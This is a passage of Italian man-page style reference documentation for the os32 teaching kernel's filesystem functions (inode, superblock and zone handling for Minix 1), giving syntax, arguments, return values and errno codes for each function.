inode_fzones_read(9) [118.5.13].

118.5.11 os32: inode_file_write(9)

NOME

'**`inode_file_write`**' - scrittura di un file rappresentato da un inode

SINTASSI

```
<kernel/fs.h>
ssize_t inode_file_write (inode_t *inode, off_t offset,
                          void *buffer, size_t count);
```

ARGOMENTI

Argomento	Descrizione
`inode_t` ***inode***	Puntatore a un elemento della tabella degli inode, che rappresenta il file da scrivere.
`off_t` ***offset***	Posizione, riferita all'inizio del file, a partire dalla quale eseguire la scrittura.
`void` ***buffer***	Puntatore all'area di memoria da cui trarre i dati da scrivere nel file.
`size_t` ***count***	Quantità massima di byte da scrivere.

DESCRIZIONE

La funzione ***inode_file_write()*** scrive nel file rappresentato da ***inode***, a partire dalla posizione ***offset*** (purché non sia un valore negativo), la quantità massima di byte indicati con ***count***, ciò che si trova in memoria a partire da ***buffer***.

Questa funzione si avvale a sua volta di *inode_fzones_read(9)* [118.5.13], per accedere ai contenuti del file, suddivisi in zone, secondo l'organizzazione del file system Minix 1, e di *zone_write(9)* [118.5.35], per la riscrittura delle zone relative.

Per os32, le operazioni di scrittura nel file system sono sincrone, senza alcun trattenimento in memoria (ovvero senza *cache*).

VALORE RESTITUITO

La funzione restituisce la quantità di byte scritti. La scrittura può avvenire oltre la fine del file, anche in modo discontinuo; tuttavia, non è ammissibile un valore di ***offset*** negativo.

ERRORI

Valore di ***errno***	Significato
`EINVAL`	L'inode non è valido, oppure il valore di ***offset*** è negativo.

FILE SORGENTI

'`kernel/fs.h`' [119.5]

'`kernel/fs/inode_file_write.c`' [119.5.12]

VEDERE ANCHE

inode_fzones_read(9) [118.5.13], *zone_write(9)* [118.5.35].

118.5.12 os32: inode_free(9)

NOME

'**`inode_free`**' - deallocazione di un inode

SINTASSI

```
<kernel/fs.h>
int inode_free (inode_t *inode);
```

ARGOMENTI

Argomento	Descrizione
`inode_t *`***inode***	Puntatore a un elemento della tabella degli inode.

DESCRIZIONE

La funzione ***inode_free()*** libera l'inode specificato attraverso il puntatore ***inode***, rispetto al proprio super blocco. L'operazione comporta semplicemente il fatto di indicare questo inode come libero, senza controlli per verificare se effettivamente non esistono più collegamenti nel file system che lo riguardano.

Questa funzione viene usata esclusivamente da *inode_put(9)* [118.5.20], per completare la cancellazione di un inode che non ha più collegamenti nel file system, quando non vi si fa più riferimento nel sistema in funzione.

VALORE RESTITUITO

Valore	Significato del valore restituito
0	Operazione conclusa con successo.
-1	Errore, descritto dalla variabile ***errno*** del kernel.

ERRORI

Valore di ***errno***	Significato
`EINVAL`	L'inode non è valido.

FILE SORGENTI

'`kernel/fs.h`' [119.5]

'`kernel/fs/inode_free.c`' [119.5.13]

VEDERE ANCHE

inode_save(9) [118.5.22], *inode_alloc(9)* [118.5.7].

118.5.13 os32: inode_fzones_read(9)

NOME

'**inode_fzones_read**', '**inode_fzones_write**' - lettura e scrittura di zone relative al contenuto di un file

SINTASSI

```
<kernel/fs.h>
blkcnt_t inode_fzones_read  (inode_t *inode, zno_t zone_start,
                              void *buffer, blkcnt_t blkcnt);
blkcnt_t inode_fzones_write (inode_t *inode, zno_t zone_start,
                              void *buffer, blkcnt_t blkcnt);
```

ARGOMENTI

Argomento	Descrizione
inode_t ****inode***	Puntatore a un elemento della tabella degli inode, con cui si individua il file da cui leggere o in cui scrivere.
zno_t ***zone_start***	Il numero di zona, relativo al file, a partire dalla quale iniziare la lettura o la scrittura.
void ****buffer***	Il puntatore a un'area di memoria tampone, da usare per depositare i dati letti o per trarre i dati da scrivere.
blkcnt_t ***blkcnt***	La quantità di zone da leggere o scrivere.

DESCRIZIONE

Le funzioni ***inode_fzones_read()*** e ***inode_fzones_write()***, consentono di leggere e di scrivere un file, a zone intere (la zona è un multiplo del blocco, secondo la filosofia del file system Minix 1).

Questa funzione vengono usate soltanto da *inode_file_read(9)* [118.5.10] e *inode_file_write(9)* [118.5.11], con le quali l'accesso ai file si semplifica a livello di byte.

VALORE RESTITUITO

Le due funzioni restituiscono la quantità di zone lette o scritte effettivamente. Una quantità pari a zero potrebbe eventualmente rappresentare un errore, ma solo in alcuni casi. Per poterlo verificare, occorre azzerare la variabile ***errno*** prima di chiamare le funzioni, riservandosi di verificarne successivamente il valore.

ERRORI

Valore di ***errno***	Significato
EIO	L'accesso alla zona richiesta non è potuto avvenire.

FILE SORGENTI

'kernel/fs.h' [119.5]

'kernel/fs/inode_fzones_read.c' [119.5.14]

'kernel/fs/inode_fzones_write.c' [119.5.15]

VEDERE ANCHE

inode_file_read(9) [118.5.10], *inode_file_write(9)* [118.5.11], *zone_read(9)* [118.5.35], *zone_write(9)* [118.5.35].

118.5.14 os32: inode_fzones_write(9)

Vedere *inode_fzones_read(9)* [118.5.13].

118.5.15 os32: inode_get(9)

NOME

'**inode_get**' - caricamento di un inode

SINTASSI

```
<kernel/fs.h>
inode_t *inode_get (dev_t device, ino_t ino);
```

ARGOMENTI

Argomento	Descrizione
dev_t *device*	Dispositivo riferito a un'unità di memorizzazione, dove cercare l'inode numero *ino*.
ino_t *ino*	Numero di inode, relativo al file system contenuto nell'unità *device*.

DESCRIZIONE

La funzione *inode_get()* consente di «aprire» un inode, fornendo il numero del dispositivo corrispondente all'unità di memorizzazione e il numero dell'inode del file system in essa contenuto. L'inode in questione potrebbe essere già stato aperto e quindi già disponibile in memoria nella tabella degli inode; in tal caso, la funzione si limita a incrementare il contatore dei riferimenti a tale inode, da parte del sistema in funzione, restituendo il puntatore all'elemento della tabella che lo contiene gia. Se invece l'inode non è ancora presente nella tabella rispettiva, la funzione deve provvedere a caricarlo.

Se si richiede un inode non ancora disponibile, contenuto in un'unità di cui non è ancora stato caricato il super blocco nella tabella rispettiva, la funzione deve provvedere anche a questo procedimento.

VALORE RESTITUITO

La funzione restituisce il puntatore all'elemento della tabella degli inode che rappresenta l'inode aperto. Se però si presenta un problema, restituisce il puntatore nullo e aggiorna la variabile *errno* del kernel.

ERRORI

Valore di ***errno***	Significato
EUNKNOWN	Si tratta di un problema imprevisto e non meglio identificabile.
ENFILE	La tabella degli inode è già occupata completamente e non è possibile aprirne altri.
ENODEV	Il dispositivo richiesto non è valido.
ENOENT	Il numero di inode richiesto non esiste.
EIO	Errore nella lettura del file system.

FILE SORGENTI

'`kernel/fs.h`' [119.5]

'`kernel/fs/inode_get.c`' [119.5.16]

VEDERE ANCHE

offsetof(3) [113.81], *inode_put(9)* [118.5.20], *inode_reference(9)* [118.5.21], *sb_reference(9)* [118.5.29], *sb_inode_status(9)* [118.5.26], *dev_io(9)* [118.3.1].

118.5.16 os32: inode_pipe_make(9)

NOME

'**`inode_pipe_make`**' - creazione di una voce relativa a un condotto, nella tabella degli inode

SINTASSI

```
<kernel/fs.h>
inode_t *inode_pipe_make (void);
```

DESCRIZIONE

La funzione ***inode_pipe_make()*** produce una voce nella tabella degli inode, relativa a un condotto (*pipe*).

Questa funzione viene usata esclusivamente da *file_pipe_make(9)* [118.5.4], per creare una voce da usare condotto, nella tabella dei file.

VALORE RESTITUITO

La funzione restituisce il puntatore a un elemento della tabella degli inode, oppure il puntatore nullo in caso di errore, aggiornando la variabile ***errno*** del kernel.

ERRORI

Valore di ***errno***	Significato
EINVAL	Gli argomenti della chiamata non sono validi.
ENFILE	Non è possibile allocare un altro inode.

FILE SORGENTI

'`kernel/fs.h`' [119.5]

'`kernel/fs/inode_pipe_make.c`' [119.5.17]

VEDERE ANCHE

file_pipe_make(9) [118.5.4], *inode_reference(9)* [118.5.21].

118.5.17 os32: inode_pipe_read(9)

NOME

'**`inode_pipe_read`**' - lettura di un condotto rappresentato da un inode

SINTASSI

```
<kernel/fs.h>
ssize_t inode_file_read (inode_t *inode, void *buffer,
                         size_t count, int *eof);
```

ARGOMENTI

Argomento	Descrizione
`inode_t *`***inode***	Puntatore a un elemento della tabella degli inode, che rappresenta il condotto da leggere.
`void *`***buffer***	Puntatore all'area di memoria in cui scrivere ciò che si ottiene dalla lettura del condotto.
`size_t` ***count***	Quantità massima di byte da leggere.
`int *`***eof***	Puntatore a un indicatore di fine file, da aggiornare (purché sia un puntatore valido) in base all'esito della lettura.

DESCRIZIONE

La funzione ***inode_pipe_read()*** legge il contenuto del file a cui si riferisce l'inode ***inode*** e se il puntatore ***eof*** è valido, aggiorna anche la variabile ****eof***.

VALORE RESTITUITO

La funzione restituisce la quantità di byte letti e resi effettivamente disponibili a partire da ciò a cui punta ***buffer***. Se la variabile ***var*** è un puntatore valido, aggiorna anche il suo valore, impostandolo a uno quando la lettura avviene mentre non ci sono più riferimenti in scrittura per il condotto.

ERRORI

Valore di ***errno***	Significato
`EINVAL`	L'inode non è valido.

FILE SORGENTI

'`kernel/fs.h`' [119.5]

'`kernel/fs/inode_pipe_read.c`' [119.5.18]

VEDERE ANCHE

inode_file_read(9) [118.5.10].

118.5.18 os32: inode_pipe_write(9)

NOME

'**inode_pipe_write**' - scrittura di un condotto rappresentato da un inode

SINTASSI

```
<kernel/fs.h>
ssize_t inode_pipe_write (inode_t *inode, void *buffer,
                          size_t count);
```

ARGOMENTI

Argomento	Descrizione
`inode_t *`***inode***	Puntatore a un elemento della tabella degli inode che rappresenta il condotto in cui scrivere.
`void *`***buffer***	Puntatore all'area di memoria da cui trarre i dati da scrivere nel condotto.
`size_t` ***count***	Quantità massima di byte da scrivere.

DESCRIZIONE

La funzione ***inode_pipe_write()*** scrive nel condotto rappresentato da ***inode***, la quantità massima di byte indicati con ***count***, ciò che si trova in memoria a partire da ***buffer***.

VALORE RESTITUITO

La funzione restituisce la quantità di byte scritti.

ERRORI

Valore di ***errno***	Significato
`EINVAL`	L'inode non è valido.

FILE SORGENTI

'`kernel/fs.h`' [119.5]

'`kernel/fs/inode_pipe_write.c`' [119.5.19]

VEDERE ANCHE

inode_file_write(9) [118.5.11].

118.5.19 os32: inode_print(9)

NOME

'**`inode_print`**' - visualizzazione diagnostica della tabella degli inode

SINTASSI

```
<kernel/fs.h>
void inode_print (void);
```

DESCRIZIONE

La funzione ***inode_print()*** visualizza sinteticamente i contenuti della tabella degli inode, per fini diagnostici.

FILE SORGENTI

'`kernel/fs.h`' [119.5]

'`kernel/fs/inode_print.c`' [119.5.20]

VEDERE ANCHE

sb_print(9) [118.5.28], *zone_print(9)* [118.5.34].

118.5.20 os32: inode_put(9)

NOME

'**`inode_put`**' - rilascio di un inode

SINTASSI

```
<kernel/fs.h>
int inode_put (inode_t *inode);
```

ARGOMENTI

Argomento	Descrizione
`inode_t *`***inode***	Puntatore a un elemento della tabella di inode.

DESCRIZIONE

La funzione ***inode_put()*** «chiude» un inode, riducendo il contatore degli accessi allo stesso. Tuttavia, se questo contatore, dopo il decremento, raggiunge lo zero, è necessario verificare se nel frattempo anche i collegamenti del file system si sono azzerati, perché in tal caso occorre anche rimuovere l'inode, nel senso di segnalarlo come libero per la creazione di un nuovo file. In ogni caso, le informazioni aggiornate dell'inode, ancora allocato o liberato, vengono memorizzate nel file system.

VALORE RESTITUITO

Valore	Significato del valore restituito
0	Operazione conclusa con successo.
−1	Errore, descritto dalla variabile ***errno*** del kernel.

ERRORI

Valore di ***errno***	Significato
`EINVAL`	Il puntatore ***inode*** non è valido.
`EUNKNOWN`	Si tratta di un problema imprevisto e non meglio identificabile.

FILE SORGENTI

'`kernel/fs.h`' [119.5]

'`kernel/fs/inode_put.c`' [119.5.21]

VEDERE ANCHE

inode_truncate(9) [118.5.24], *inode_free(9)* [118.5.12], *inode_save(9)* [118.5.22].

118.5.21 os32: inode_reference(9)

NOME

'**`inode_reference`**' - riferimento a un elemento della tabella di inode

SINTASSI

```
<kernel/fs.h>
inode_t *inode_reference (dev_t device, ino_t ino);
```

ARGOMENTI

Argomento	Descrizione
`dev_t` ***device***	Dispositivo riferito a un'unità di memorizzazione, dove cercare l'inode numero ***ino***.
`ino_t` ***ino***	Numero di inode, relativo al file system contenuto nell'unità ***device***.

DESCRIZIONE

La funzione ***inode_reference()*** cerca nella tabella degli inode la voce corrispondente ai dati forniti come argomenti, ovvero quella dell'inode numero ***ino*** del file system contenuto nel dispositivo ***device***, restituendo il puntatore alla voce corrispondente. Tuttavia ci sono dei casi particolari:

- se il numero del dispositivo e quello dell'inode sono entrambi zero, viene restituito il puntatore all'inizio della tabella, ovvero al primo elemento della stessa;
- se il numero del dispositivo e quello dell'inode sono pari a un numero negativo (rispettivamente '**`(dev_t) -1`**' e '**`(ino_t) -1`**'), viene restituito il puntatore alla prima voce libera;

- se il numero del dispositivo è pari a zero e il numero dell'inode è pari a uno, si intende ricercare la voce dell'inode della directory radice del file system principale.

VALORE RESTITUITO

La funzione restituisce il puntatore a un elemento della tabella degli inode, se la ricerca si compie con successo. In caso di problemi, invece, la funzione restituisce il puntatore nullo e aggiorna la variabile ***errno*** del kernel.

ERRORI

Valore di ***errno***	Significato
`E_CANNOT_FIND_ROOT_DEVICE`	Nella tabella dei super blocchi non è possibile trovare il file system principale.
`E_CANNOT_FIND_ROOT_INODE`	Nella tabella degli inode non è possibile trovare la directory radice del file system principale.

FILE SORGENTI

'`kernel/fs.h`' [119.5]

'`kernel/fs/inode_reference.c`' [119.5.22]

VEDERE ANCHE

sb_reference(9) [118.5.29], *file_reference(9)* [118.5.5], *proc_reference(9)* [118.14.6].

118.5.22 os32: inode_save(9)

NOME

'**`inode_save`**' - memorizzazione dei dati di un inode

SINTASSI

```
<kernel/fs.h>
int inode_save (inode_t *inode);
```

ARGOMENTI

Argomento	Descrizione
`inode_t *`***inode***	Puntatore a una voce della tabella degli inode.

DESCRIZIONE

La funzione ***inode_save()*** memorizza l'inode a cui si riferisce la voce ****inode***, nel file system, ammesso che si tratti effettivamente di un inode relativo a un file system e che sia stato modificato dopo l'ultima memorizzazione precedente. In questo caso, la funzione, a sua volta, richiede la memorizzazione del super blocco.

VALORE RESTITUITO

Valore	Significato del valore restituito
0	Operazione conclusa con successo.
−1	Errore, descritto dalla variabile ***errno*** del kernel.

ERRORI

Valore di *errno*	Significato
EINVAL	Il puntatore ***inode*** è nullo.

FILE SORGENTI

'kernel/fs.h' [119.5]

'kernel/fs/inode_save.c' [119.5.23]

VEDERE ANCHE

sb_save(9) [118.5.30], *dev_io(9)* [118.3.1].

118.5.23 os32: inode_stdio_dev_make(9)

NOME

'**inode_stdio_dev_make**' - creazione di una voce relativa a un dispositivo di input-output standard, nella tabella degli inode

SINTASSI

```
<kernel/fs.h>
inode_t *inode_stdio_dev_make (dev_t device, mode_t mode);
```

ARGOMENTI

Argomento	Descrizione
dev_t ***device***	Il numero del dispositivo da usare per l'input o l'output.
mode_t ***mode***	Tipo di file di dispositivo: è praticamente obbligatorio l'uso di '**S_IFCHR**'.

DESCRIZIONE

La funzione ***inode_stdio_dev_make()*** produce una voce nella tabella degli inode, relativa a un dispositivo di input-output, da usare come flusso standard. In altri termini, serve per creare le voci della tabella degli inode, relative a standard input, standard output e standard error.

Questa funzione viene usata esclusivamente da *file_stdio_dev_make(9)* [118.5.6], per creare una voce da usare come flusso standard di input o di output, nella tabella dei file.

VALORE RESTITUITO

La funzione restituisce il puntatore a un elemento della tabella degli inode, oppure il puntatore nullo in caso di errore, aggiornando la variabile ***errno*** del kernel.

ERRORI

Valore di *errno*	Significato
`EINVAL`	Gli argomenti della chiamata non sono validi.
`ENFILE`	Non è possibile allocare un altro inode.

FILE SORGENTI

'`kernel/fs.h`' [119.5]

'`kernel/fs/inode_stdio_dev_make.c`' [119.5.24]

VEDERE ANCHE

file_stdio_dev_make(9) [118.5.6], *inode_reference(9)* [118.5.21].

118.5.24 os32: inode_truncate(9)

NOME

'**`inode_truncate`**' - troncamento del file a cui si riferisce un inode

SINTASSI

```
<kernel/fs.h>
int inode_truncate (inode_t *inode);
```

ARGOMENTI

Argomento	Descrizione
`inode_t *`***inode***	Puntatore a una voce della tabella di inode.

DESCRIZIONE

La funzione ***inode_truncate()*** richiede che il puntatore ***inode*** si riferisca a una voce della tabella degli inode, relativa a un file contenuto in un file system. Lo scopo della funzione è annullare il contenuto di tale file, trasformandolo in un file vuoto.

VALORE RESTITUITO

Valore	Significato del valore restituito
0	Operazione conclusa con successo.
−1	Errore, descritto dalla variabile ***errno*** del kernel.

ERRORI

Allo stato attuale dello sviluppo della funzione, non ci sono controlli e non sono previsti errori.

FILE SORGENTI

'`kernel/fs.h`' [119.5]

'`kernel/fs/inode_truncate.c`' [119.5.26]

VEDERE ANCHE

zone_free(9) [118.5.32], *sb_save(9)* [118.5.30], *inode_save(9)* [118.5.22].

118.5.25 os32: inode_zone(9)

NOME

'`inode_zone`' - traduzione del numero di zona relativo in un numero di zona assoluto

SINTASSI

```
<kernel/fs.h>
zno_t inode_zone (inode_t *inode, zno_t fzone, int write);
```

ARGOMENTI

Argomento	Descrizione
`inode_t *`***inode***	Puntatore a una voce della tabella di inode.
`zno_t` ***fzone***	Numero di zona relativo al file dell'inode preso in considerazione.
`int` ***write***	Valore da intendersi come *Vero* o *Falso*, con cui consentire o meno la creazione al volo di una zona mancante.

DESCRIZIONE

La funzione ***inode_zone()*** serve a tradurre il numero di una zona, inteso relativamente a un file, nel numero assoluto relativamente al file system in cui si trova. Tuttavia, un file può essere memorizzato effettivamente in modo discontinuo, ovvero con zone inesistenti nella sua parte centrale. Il contenuto di un file che non dispone effettivamente di zone allocate, corrisponde a un contenuto nullo dal punto di vista binario (zero binario), ma per la funzione, una zona assente comporta la restituzione di un valore nullo, perché nel file system non c'è. Pertanto, se l'argomento corrispondente al parametro ***write*** contiene un valore diverso da zero, la funzione che non trova una zona, la alloca e quindi ne restituisce il numero.

VALORE RESTITUITO

La funzione restituisce il numero della zona che nel file system corrisponde a quella relativa richiesta per un certo file. Nel caso la zona non esista, perché non allocata, restituisce zero. Tuttavia, la zona zero di un file system Minix 1 esiste, ma contiene sostanzialmente le informazioni amministrative del super blocco, pertanto non può essere una traduzione valida di una zona di un file.

ERRORI

La funzione non prevede il verificarsi di errori.

FILE SORGENTI

'`kernel/fs.h`' [119.5]

'`kernel/fs/inode_zone.c`' [119.5.27]

VEDERE ANCHE

memset(3) [113.77], *zone_alloc(9)* [118.5.32], *zone_read(9)* [118.5.35], *zone_write(9)* [118.5.35].

118.5.26 os32: sb_inode_status(9)

NOME

'**sb_inode_status**', '**sb_zone_status**' - verifica di utilizzazione attraverso il controllo delle mappe di inode e di zone

SINTASSI

```
<kernel/fs.h>
int sb_inode_status (sb_t *sb, ino_t ino);
int sb_zone_status  (sb_t *sb, zno_t zone);
```

ARGOMENTI

Argomento	Descrizione
sb_t ****sb***	Puntatore a una voce della tabella dei super blocchi.
ino_t ***ino***	Numero di inode.
zno_t ***ino***	Numero di zona.

DESCRIZIONE

La funzione ***sb_inode_status()*** verifica che un certo inode, individuato per numero, risulti utilizzato nel file system a cui si riferisce il super blocco a cui punta il primo argomento.

La funzione ***sb_zone_status()*** verifica che una certa zona, individuato per numero, risulti utilizzata nel file system a cui si riferisce il super blocco a cui punta il primo argomento.

La funzione ***sb_inode_status()*** viene usata soltanto da *inode_get(9)* [118.5.15]; la funzione ***sb_zone_status()*** non viene usata affatto.

VALORE RESTITUITO

Valore	Significato
1	L'inode o la zona risultano utilizzati.
0	L'inode o la zona risultano liberi (allocabili).
−1	Errore: è stato richiesto un numero di inode o di zona pari a zero, oppure ***sb*** è un puntatore nullo.

ERRORI

Valore di ***errno***	Significato
EINVAL	È stato richiesto un numero di inode o di zona pari a zero, oppure ***sb*** è un puntatore nullo.

FILE SORGENTI

'`kernel/fs.h`' [119.5]

'`kernel/fs/sb_inode_status.c`' [119.5.33]

'`kernel/fs/sb_zone_status.c`' [119.5.39]

VEDERE ANCHE

inode_alloc(9) [118.5.7], *zone_alloc(9)* [118.5.32].

118.5.27 os32: sb_mount(9)

NOME

'**`sb_mount`**' - innesto di un dispositivo di memorizzazione

SINTASSI

```
<kernel/fs.h>
sb_t *sb_mount (dev_t device, inode_t **inode_mnt, int options);
```

ARGOMENTI

Argomento	Descrizione
`dev_t` ***device***	Dispositivo da innestare.
`inode_t **`***inode_mnt***	Puntatore di puntatore a una voce della tabella di inode. Il valore di ***inode_mnt*** potrebbe essere un puntatore nullo.
`int` ***options***	Opzioni per l'innesto.

DESCRIZIONE

La funzione ***sb_mount()*** innesta il dispositivo rappresentato numericamente dal primo parametro, sulla directory corrispondente all'inode a cui punta, indirettamente, il secondo parametro, con le opzioni del terzo parametro.

Il secondo parametro è un puntatore di puntatore al tipo '**`inode_t`**', in quanto il valore rappresentato da ***inode_mnt*** deve poter essere modificato dalla funzione. Infatti, quando si vuole innestare il file system principale, si crea una situazione particolare, perché la directory di innesto è la radice dello stesso file system da innestare; pertanto, ***inode_mnt*** deve essere un puntatore nullo ed è compito della funzione far sì che diventi il puntatore alla voce corretta nella tabella degli inode.

Questa funzione viene usata da *proc_init(9)* [118.14.3] per innestare il file system principale, e da *s_mount(9)* [118.9] per innestare un file system in condizioni diverse.

VALORE RESTITUITO

La funzione restituisce il puntatore all'elemento della tabella dei super blocchi che rappresenta il dispositivo innestato. In caso si insuccesso, restituisce invece il puntatore nullo e aggiorna la variabile ***errno*** del kernel.

ERRORI

Valore di *errno*	Significato
EBUSY	Il dispositivo richiesto risulta già innestato; la directory di innesto è già utilizzata; la tabella dei super blocchi è già occupata del tutto.
EIO	Errore di input-output.
ENODEV	Il file system del dispositivo richiesto non può essere gestito.
E_MAP_INODE_TOO_BIG	La mappa che rappresenta lo stato di utilizzo degli inode del file system, è troppo grande e non può essere caricata in memoria.
E_MAP_ZONE_TOO_BIG	La mappa che rappresenta lo stato di utilizzo delle zone (i blocchi di dati del file system Minix 1) è troppo grande e non può essere caricata in memoria.
E_DATA_ZONE_TOO_BIG	Nel file system che si vorrebbe innestare, la dimensione della zona di dati è troppo grande rispetto alle possibilità di os32.
EUNKNOWN	Errore imprevisto e sconosciuto.

FILE SORGENTI

'`kernel/fs.h`' [119.5]

'`kernel/fs/sb_mount.c`' [119.5.34]

VEDERE ANCHE

sb_reference(9) [118.5.29], *dev_io(9)* [118.3.1], *inode_get(9)* [118.5.15].

118.5.28 os32: sb_print(9)

NOME

'**`sb_print`**' - visualizzazione diagnostica della tabella dei super blocchi

SINTASSI

```
<kernel/fs.h>
void sb_print (void);
```

DESCRIZIONE

La funzione ***sb_print()*** visualizza sinteticamente i contenuti della tabella dei super blocchi, per fini diagnostici.

FILE SORGENTI

'`kernel/fs.h`' [119.5]

'`kernel/fs/sb_print.c`' [119.5.35]

VEDERE ANCHE

inode_print(9) [118.5.19], *zone_print(9)* [118.5.34].

118.5.29 os32: sb_reference(9)

NOME

'**sb_reference**' - riferimento a un elemento della tabella dei super blocchi

SINTASSI

```
<kernel/fs.h>
sb_t *sb_reference (dev_t device);
```

ARGOMENTI

Argomento	Descrizione
`dev_t` ***device***	Dispositivo di un'unità di memorizzazione di massa.

DESCRIZIONE

La funzione ***sb_reference()*** serve a produrre il puntatore a una voce della tabella dei super blocchi. Se si fornisce il numero di un dispositivo già innestato nella tabella, si intende ottenere il puntatore alla voce relativa; se si fornisce il valore zero, si intende semplicemente avere un puntatore alla prima voce (ovvero all'inizio della tabella); se invece si fornisce il valore -1, si vuole ottenere il riferimento alla prima voce libera.

VALORE RESTITUITO

La funzione restituisce il puntatore all'elemento della tabella dei super blocchi che soddisfa la richiesta. In caso di errore, restituisce invece un puntatore nullo, ma senza dare informazioni aggiuntive con la variabile ***errno***, perché il motivo è implicito nel tipo di richiesta.

ERRORI

In caso di errore la variabile ***errno*** non viene aggiornata. Tuttavia, se l'errore deriva dalla richiesta di un dispositivo di memorizzazione, significa che non è presente nella tabella; se è stato richiesta una voce libera, significa che la tabella dei super blocchi è occupata completamente.

FILE SORGENTI

'`kernel/fs.h`' [119.5]

'`kernel/fs/sb_public.c`' [119.5.36]

'`kernel/fs/sb_reference.c`' [119.5.37]

VEDERE ANCHE

inode_reference(9) [118.5.21], *file_reference(9)* [118.5.5].

118.5.30 os32: sb_save(9)

NOME

'**sb_save**' - memorizzazione di un super blocco nel proprio file system

SINTASSI

```
<kernel/fs.h>
int sb_save (sb_t *sb);
```

ARGOMENTI

Argomento	Descrizione
`sb_t *`***sb***	Puntatore a una voce della tabella dei super blocchi in memoria.

DESCRIZIONE

La funzione ***sb_save()*** verifica se il super blocco conservato in memoria e rappresentato dal puntatore ***sb*** risulta modificato; in tal caso provvede ad aggiornarlo nell'unità di memorizzazione di origine, assieme alle mappe di utilizzo degli inode e delle zone di dati.

VALORE RESTITUITO

Valore	Significato
0	Operazione conclusa con successo.
−1	Errore: la variabile ***errno*** viene impostata di conseguenza.

ERRORI

Valore di ***errno***	Significato
`EINVAL`	Il riferimento al super blocco è un puntatore nullo.
`EIO`	Errore di input-output.

FILE SORGENTI

'`kernel/fs.h`' [119.5]

'`kernel/fs/sb_save.c`' [119.5.38]

VEDERE ANCHE

inode_save(9) [118.5.22], *dev_io(9)* [118.3.1].

118.5.31 os32: sb_zone_status(9)

Vedere *sb_inode_status(9)* [118.5.26].

118.5.32 os32: zone_alloc(9)

NOME

'**`zone_alloc`**', '**`zone_free`**' - allocazione di zone di dati

SINTASSI

```
<kernel/fs.h>
zno_t zone_alloc (sb_t *sb);
int   zone_free  (sb_t *sb, zno_t zone);
```

ARGOMENTI

Argomento	Descrizione
`sb_t *`***sb***	Puntatore a una voce della tabella dei super blocchi in memoria.
`zno_t `***zone***	Numero di zona da liberare.

DESCRIZIONE

La funzione ***zone_alloc()*** occupa una zona nella mappa associata al super blocco a cui si riferisce ***sb***, restituendone il numero. La funzione ***zone_free()*** libera una zona che precedentemente risultava occupata nella mappa relativa.

VALORE RESTITUITO

La funzione ***zone_alloc()*** restituisce il numero della zona allocata. Se questo numero è zero, si tratta di un errore, e va considerato il contenuto della variabile ***errno***.

La funzione ***zone_free()*** restituisce zero in caso di successo, oppure −1 in caso di errore, aggiornando di conseguenza la variabile ***errno***.

ERRORI

Valore di ***errno***	Significato
`EROFS`	Il file system è innestato in sola lettura, pertanto non è possibile apportare cambiamenti alla mappa di utilizzo delle zone.
`ENOSPC`	Non è possibile allocare una zona, perché non ce ne sono di libere.
`EINVAL`	L'argomento corrispondente a ***sb*** è un puntatore nullo; la zona di cui si richiede la liberazione è precedente alla prima zona dei dati (pertanto non può essere liberata, in quanto riguarda i dati amministrativi del super blocco); la zona da liberare è successiva allo spazio gestito dal file system.
`EUNKNOWN`	Errore imprevisto e sconosciuto.

FILE SORGENTI

'`kernel/fs.h`' [119.5]

'`kernel/fs/zone_alloc.c`' [119.5.40]

'`kernel/fs/zone_free.c`' [119.5.41]

VEDERE ANCHE

zone_write(9) [118.5.35], *sb_save(9)* [118.5.30].

118.5.33 os32: zone_free(9)

Vedere *zone_alloc(9)* [118.5.32].

118.5.34 os32: zone_print(9)

NOME

'**`zone_print`**' - visualizzazione diagnostica del contenuto della prima parte di una zona dati

SINTASSI

```
<kernel/fs.h>
void zone_print (sb_t *sb, zno_t zone);
```

DESCRIZIONE

La funzione ***zone_print()*** visualizza la prima parte del contenuto di una zona dati, riferita a un certo super blocco, in esadecimale, per fini diagnostici.

FILE SORGENTI

'`kernel/fs.h`' [119.5]

'`kernel/fs/zone_print.c`' [119.5.42]

VEDERE ANCHE

inode_print(9) [118.5.19], *sb_print(9)* [118.5.28].

118.5.35 os32: zone_read(9)

NOME

'**`zone_read`**', '**`zone_write`**' - lettura o scrittura di una zona di dati

SINTASSI

```
<kernel/fs.h>
int zone_read  (sb_t *sb, zno_t zone, void *buffer);
int zone_write (sb_t *sb, zno_t zone, void *buffer);
```

ARGOMENTI

Argomento	Descrizione
`sb_t *`***sb***	Puntatore a una voce della tabella dei super blocchi in memoria.
`zno_t` ***zone***	Numero di zona da leggere o da scrivere
`void *`***buffer***	Puntatore alla posizione iniziale in memoria dove depositare la zona letta o da dove trarre i dati per la scrittura della zona.

DESCRIZIONE

La funzione ***zone_read()*** legge una zona e ne trascrive il contenuto a partire da ***buffer***. La funzione ***zone_write()*** scrive una zona copiandovi al suo interno quanto si trova in memoria a partire da ***buffer***. La zona è individuata dal numero ***zone*** e riguarda il file system a cui si riferisce il super blocco ***sb***.

La lettura o la scrittura riguarda una zona soltanto, ma nella sua interezza.

VALORE RESTITUITO

Valore	Significato del valore restituito
0	Operazione conclusa con successo.
−1	Errore, descritto dal contenuto della variabile ***errno*** del kernel.

ERRORI

Valore di ***errno***	Significato
`EINVAL`	Gli argomenti non sono validi.
`EROFS`	Il file system è innestato in sola lettura.
`EIO`	Errore di input-output.

FILE SORGENTI

'`kernel/fs.h`' [119.5]

'`kernel/fs/zone_read.c`' [119.5.43]

'`kernel/fs/zone_write.c`' [119.5.44]

VEDERE ANCHE

zone_alloc(9) [118.5.32], *zone_free(9)* [118.5.32].

118.5.36 os32: path_device(9)

NOME

'**`path_device`**' - conversione di un file di dispositivo nel numero corrispondente

SINTASSI

```
<kernel/fs.h>
dev_t path_device (pid_t pid, const char *path);
```

ARGOMENTI

Argomento	Descrizione
`pid_t` ***pid***	Processo elaborativo per conto del quale si agisce.
`const char *`***path***	Il percorso del file di dispositivo.

DESCRIZIONE

La funzione ***path_device()*** consente di trarre il numero complessivo di un dispositivo, a partire da un file di dispositivo.

Questa funzione viene usata soltanto da *s_mount(9)* [118.9].

VALORE RESTITUITO

La funzione restituisce il numero del dispositivo corrispondente al file indicato, oppure il valore -1, in caso di errore, aggiornando la variabile ***errno*** del kernel.

ERRORI

Valore di ***errno***	Significato
`ENODEV`	Il file richiesto non è un file di dispositivo.
`ENOENT`	Il file richiesto non esiste.
`EACCES`	Il file richiesto non è accessibile secondo i privilegi del processo ***pid***.

FILE SORGENTI

'`kernel/fs.h`' [119.5]

'`kernel/fs/path_device.c`' [119.5.28]

VEDERE ANCHE

proc_reference(9) [118.14.6], *path_inode(9)* [118.5.39], *inode_put(9)* [118.5.20].

